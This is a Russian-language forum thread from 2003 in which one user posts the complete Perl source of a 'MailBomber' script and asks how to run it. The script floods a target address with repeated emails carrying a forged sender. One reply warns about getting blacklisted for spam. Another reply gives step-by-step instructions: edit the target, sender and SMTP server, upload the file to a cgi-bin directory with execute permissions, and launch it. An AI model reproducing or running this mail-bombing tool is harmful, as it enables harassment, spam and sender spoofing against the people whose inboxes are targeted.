Mail Bomber на Perl

[TarasBulba]

Вот исходник, что с ним делать не знаю :( , кто знает :help:
#!/usr/bin/perl
#
# k0dsweb gr0up
# [ Network Security Systems ]
#
# Language: Perl Code
# Platform: Any with Perl started.
# 8.11.2002
#
# Author: {dr}{nerve} // k0dsweb
# kodsweb.ru
#
# All Rights Reserved by k0dsweb gr0up
#
#############################################
#############################################
#                                           #
#          k0dsweb MailBomber v1.0          #
#                                           #
#############################################
#############################################

use Net::SMTP;

system("cls;clear");

print "\n\n\n\t\tk0dsweb MailBomber v1.0\n";
print "\t\tLanguage: Perl Code\n";
print "\t\tPlatform: Any with Perl started\n";
print "\t\tAuthor: {dr}{nerve} // k0dsweb\n\n";
print "\t\tAll Rights Reserved by k0dsweb gr0up.\n";
print "\t\tReady to work...\n";

$to="lox\@mail.ru";
$from="putin\@president.ru";
$subject="Present from President!";

$body=("Nice to clean you MailBox Russians!!!");

# Change the number of times you want the letter to be sent
$timestosend=10;
# Change for available smtp host (Usually your ISP SMTP host)
$smtpserver="mtu.ru";

for($i=1;$i<=$timestosend;$i++){
&send_mail;
print "$i letter (s) sent.\n";
}

sub send_mail{

$smtp = Net::SMTP->new($smtpserver);
$smtp->mail($from);
$smtp->to($to);

$smtp->data();
$smtp->datasend("To: $to\n");
$smtp->datasend("From: $from\n");
$smtp->datasend("Subject: $subject\n");
$smtp->datasend("\n");
$smtp->datasend("$body\n");

$smtp->dataend();
$smtp->quit;

}

# PS:
# To use this programm you have to have your SMTP.pm module installed
#
# Do not forget about spam-control!
# Good Luck!

[TarasBulba]

Млин, что никто не знает, как работать с Perl ? :gigi:

[Vitki]

Отчего же, знаем. Вот не знаем только зачем человеку, который его не знает, мылобомбер, да еще самый элементарный? Накидать "ради прикола" кучу писем кому-нибудь в ящик, потом обиженый напишет письмо твоему провайдеру, а он тебя отключит за спам и внесет в региональный черный список.
Оно тебе надо? Конечно бывают иногда веские причины.
Таковые есть?

[TarasBulba]

Отчего же, знаем. Вот не знаем только зачем человеку, который его не знает, мылобомбер, да еще самый элементарный? Накидать "ради прикола" кучу писем кому-нибудь в ящик, потом обиженый напишет письмо твоему провайдеру, а он тебя отключит за спам и внесет в региональный черный список.
Оно тебе надо? Конечно бывают иногда веские причины.
Таковые есть?
Vitki
Ты меня не понял, я не хочу кидать кучу писем кому-нибудь на E-Mail (у меня для этого есть нормальный Mail Bomber :) ). Мне просто интересно знать, что надо сделать с исходником, чтобы он заработал :gigi: .

Исправлено: TarasBulba, 20:48 24-05-2003

[xFLINTx]

ну дык.. там же все написано.. внести изменения в:

$to="lox\@mail.ru";
$from="putin\@president.ru";
$subject="Present from President!";
$timestosend=10;
$smtpserver="smtp.mail.ru"

вбить в файло, назвать его mailbomb.pl - залить на сервак в дир /cgi-bin/  по дефолту с правами 0755... затем запустить.. :lol:
[hr]
:type: